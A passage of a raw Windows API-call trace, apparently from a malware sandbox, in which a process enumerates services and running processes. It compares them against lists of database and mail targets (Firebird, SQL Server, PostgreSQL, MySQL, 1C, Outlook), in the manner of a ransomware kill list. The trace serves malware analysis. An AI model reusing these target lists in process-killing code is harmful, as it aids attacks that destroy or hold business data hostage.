lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0165.498] lstrlenW (lpString="consent.exe") returned 11 [0165.498] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.498] lstrlenW (lpString="dllhost.exe") returned 11 [0165.498] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0165.499] lstrlenW (lpString="dllhost.exe") returned 11 [0165.499] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0165.499] CloseHandle (hObject=0x378) returned 1 [0165.499] Sleep (dwMilliseconds=0x1f4) [0166.291] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0166.291] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0166.292] GetLastError () returned 0xea [0166.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x42ddfa0 [0166.292] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42ddfa0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42ddfa0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0166.293] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0166.293] lstrlenW (lpString="Appinfo") returned 7 [0166.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0166.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0166.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0166.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0166.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0166.293] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0166.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0166.293] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0166.293] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0166.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0166.293] lstrlenW (lpString="AudioSrv") returned 8 [0166.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0166.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0166.293] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0166.293] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0166.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0166.294] lstrlenW (lpString="BFE") returned 3 [0166.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0166.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0166.294] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0166.294] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0166.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0166.294] lstrlenW (lpString="CryptSvc") returned 8 [0166.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0166.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0166.294] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0166.294] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0166.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0166.294] lstrlenW (lpString="CscService") returned 10 [0166.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0166.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0166.294] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0166.294] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0166.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0166.294] lstrlenW (lpString="DcomLaunch") returned 10 [0166.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0166.294] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0166.294] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0166.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0166.294] lstrlenW (lpString="Dhcp") returned 4 [0166.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0166.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0166.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0166.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0166.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0166.295] lstrlenW (lpString="Dnscache") returned 8 [0166.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0166.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0166.295] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0166.295] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0166.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0166.295] lstrlenW (lpString="DPS") returned 3 [0166.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0166.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0166.295] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0166.295] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0166.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0166.295] lstrlenW (lpString="eventlog") returned 8 [0166.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0166.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0166.295] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0166.295] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0166.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0166.295] lstrlenW (lpString="EventSystem") returned 11 [0166.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0166.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0166.295] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0166.296] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0166.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0166.296] lstrlenW (lpString="gpsvc") returned 5 [0166.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0166.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0166.296] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0166.296] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0166.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0166.296] lstrlenW (lpString="iphlpsvc") returned 8 [0166.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0166.296] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0166.296] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0166.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0166.296] lstrlenW (lpString="LanmanServer") returned 12 [0166.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0166.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0166.296] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0166.296] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0166.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0166.296] lstrlenW (lpString="LanmanWorkstation") returned 17 [0166.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0166.296] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0166.296] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0166.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0166.296] lstrlenW (lpString="lmhosts") returned 7 [0166.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0166.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0166.297] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0166.297] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0166.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0166.297] lstrlenW (lpString="MMCSS") returned 5 [0166.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0166.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0166.297] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0166.297] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0166.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0166.297] lstrlenW (lpString="MpsSvc") returned 6 [0166.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0166.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0166.297] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0166.297] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0166.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0166.297] lstrlenW (lpString="Netman") returned 6 [0166.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0166.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0166.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0166.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0166.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0166.297] lstrlenW (lpString="netprofm") returned 8 [0166.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0166.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0166.297] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0166.297] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0166.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0166.298] lstrlenW (lpString="NlaSvc") returned 6 [0166.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0166.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0166.298] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0166.298] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0166.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0166.298] lstrlenW (lpString="nsi") returned 3 [0166.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0166.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0166.298] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0166.298] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0166.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0166.298] lstrlenW (lpString="PcaSvc") returned 6 [0166.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0166.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0166.298] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0166.298] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0166.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0166.298] lstrlenW (lpString="PlugPlay") returned 8 [0166.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0166.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0166.298] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0166.298] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0166.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0166.298] lstrlenW (lpString="Power") returned 5 [0166.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0166.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0166.299] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0166.299] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0166.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0166.299] lstrlenW (lpString="ProfSvc") returned 7 [0166.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0166.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0166.299] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0166.299] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0166.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0166.299] lstrlenW (lpString="RpcEptMapper") returned 12 [0166.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0166.299] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0166.299] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0166.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0166.299] lstrlenW (lpString="RpcSs") returned 5 [0166.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0166.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0166.300] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0166.300] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0166.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0166.300] lstrlenW (lpString="SamSs") returned 5 [0166.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0166.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0166.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0166.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0166.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0166.300] lstrlenW (lpString="Schedule") returned 8 [0166.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0166.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0166.300] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0166.300] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0166.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0166.300] lstrlenW (lpString="SENS") returned 4 [0166.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0166.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0166.300] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0166.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0166.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0166.300] lstrlenW (lpString="ShellHWDetection") returned 16 [0166.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0166.300] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0166.300] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0166.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0166.300] lstrlenW (lpString="Spooler") returned 7 [0166.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0166.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0166.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0166.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0166.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0166.301] lstrlenW (lpString="SysMain") returned 7 [0166.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0166.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0166.301] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0166.301] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0166.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0166.301] lstrlenW (lpString="Themes") returned 6 [0166.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0166.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0166.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0166.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0166.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0166.301] lstrlenW (lpString="TrkWks") returned 6 [0166.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0166.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0166.301] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0166.301] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0166.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0166.301] lstrlenW (lpString="UxSms") returned 5 [0166.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0166.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0166.302] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0166.302] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0166.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0166.302] lstrlenW (lpString="WdiServiceHost") returned 14 [0166.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0166.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0166.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0166.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0166.302] lstrlenW (lpString="WdiSystemHost") returned 13 [0166.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0166.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0166.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0166.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0166.302] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0166.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0166.302] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0166.302] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0166.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0166.302] lstrlenW (lpString="Winmgmt") returned 7 [0166.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0166.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0166.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0166.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0166.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0166.303] lstrlenW (lpString="WPDBusEnum") returned 10 [0166.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0166.303] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0166.303] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0166.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0166.303] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42ddfa0 | out: hHeap=0x300000) returned 1 [0166.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0166.305] Process32FirstW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0166.305] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0166.306] lstrlenW (lpString="System") returned 6 [0166.306] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0166.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0166.306] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0166.306] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0166.306] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0166.306] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0166.306] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0166.306] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0166.306] lstrlenW (lpString="smss.exe") returned 8 [0166.306] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0166.306] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0166.307] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0166.307] lstrlenW (lpString="csrss.exe") returned 9 [0166.307] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0166.307] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0166.307] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0166.307] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0166.307] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0166.307] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0166.307] Process32NextW (in: hSnapshot=0x364, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0166.308] lstrlenW (lpString="wininit.exe") returned 11 [0166.308] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0166.308] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") 